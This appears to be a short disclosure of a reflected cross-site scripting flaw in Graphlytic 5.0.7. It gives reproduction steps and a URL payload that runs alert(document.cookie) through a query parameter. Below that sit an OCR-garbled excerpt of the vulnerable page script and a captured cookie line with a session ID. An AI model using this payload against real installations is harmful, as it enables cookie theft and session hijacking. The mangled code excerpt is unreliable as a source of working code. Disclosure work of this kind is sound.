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Reflected XSS in Graphlytic 5.0.7

Steps to Reproduce:

1. On Visualisation tab

2. Change the parameters with the XSS payload

http://{graphlytic-ip}:8080/visualization?name’ ;alert(document.cookie); =1

It should reflect to the JS script.
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<script>
${document) . ready(function() {

J/ DO NOT REMOVE : GLOBAL FUNCTIONS!
pageSetUp();

let requestParams = new Map(];
let parambame;

let paramValues;

let paramValue;

param = "name’;alert(document.cookie); " ;
Po N

paramValue '
paramValues.push(paramValue);
requestParams.set (paramMame, paramValues);

// URL params - nodes

let nodes = null;
if (reqguestParams.has{"nodes"})
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@ localhost:8080

_pk_id.1.1fff=480d744d9823e512.1722504002.,;
JSESSIONID=node01gxdxefw7fz901t3ku7uasr5cl3.node0
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